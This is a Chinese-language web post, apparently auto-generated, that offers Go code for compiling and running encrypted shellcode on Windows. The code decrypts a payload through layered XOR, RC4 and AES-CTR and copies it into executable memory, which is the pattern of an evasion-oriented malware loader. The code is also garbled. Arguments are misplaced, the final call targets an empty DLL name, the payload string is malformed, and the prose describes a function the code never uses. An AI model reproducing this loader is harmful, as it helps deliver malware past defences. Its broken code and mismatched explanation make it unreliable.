Windows 上编译运行 Shellcode 代码:分析与替换
该代码可以在 Windows 上编译,但其中的 syscall 调用是针对 Linux 系统的,无法在 Windows 上运行。需要使用 Windows 系统下的 API 替换 syscall 调用,具体代码如下:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rc4"
"encoding/base64"
"encoding/hex"
"fmt"
"golang.org/x/sys/windows"
"unsafe"
)
func main() {
encryptedShellcode := 'c864430a8f04ba703841e7eed9d0e45f7beea055a45c39a3aa1e6543b6010248b917154c1299dc4c4d90214e2665ba6f5d6f163b6bb5dc7bbe8f0cf145eecb9'
// 解密 shellcode
key, _ := base64.StdEncoding.DecodeString("wNnqnB8KmCX/gX9Ddv3xq3W7M8sJtKsRt102nIRtxF0=")
decodeShellcode, _ := hex.DecodeString(encryptedShellcode)
for i := 0; i < len(decodeShellcode); i++ {
decodeShellcode[i] ^= key[i%len(key)]
}
rc4Cipher, _ := rc4.NewCipher(key)
rc4Cipher.XORKeyStream(decodeShellcode, decodeShellcode)
block, _ := aes.NewCipher(key)
iv := decodeShellcode[:aes.BlockSize]
stream := cipher.NewCTR(block, iv)
stream.XORKeyStream(decodeShellcode[aes.BlockSize:], decodeShellcode[aes.BlockSize:])
// 获取内存页大小
var systemInfo windows.SYSTEM_INFO
windows.GetSystemInfo(&systemInfo)
pageSize := systemInfo.dwPageSize
// 分配内存空间
addr, err := windows.VirtualAlloc(nil, uintptr(len(decodeShellcode)), windows.MEM_COMMIT|windows.PAGE_EXECUTE_READWRITE, windows.MEM_RESERVE)
if err != nil {
panic(err)
}
// 将 shellcode 复制到内存空间
copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(decodeShellcode)], decodeShellcode)
// 跳转到 shellcode
syscall := windows.NewLazySystemDLL("kernel32.dll").NewProc("VirtualProtect")
var oldProtect uint32
syscall.Call(addr, uintptr(len(decodeShellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
syscall = windows.NewLazySystemDLL("").NewProc("")
syscall.Call()
}
代码中,我们使用 windows.VirtualAlloc 函数分配内存空间,使用 windows.VirtualProtect 函数设置内存页权限,并使用 copy 函数将解密后的 Shellcode 复制到分配的内存空间中。最后,使用 syscall.Syscall6 函数跳转到 Shellcode 的入口地址。
通过以上代码替换,我们可以成功地在 Windows 上编译并运行 Shellcode 代码。需要注意的是,Shellcode 代码的编写和运行需要谨慎,并确保其安全性和合法性。
原文地址: https://www.cveoy.top/t/topic/lP4v 著作权归作者所有。请勿转载和采集!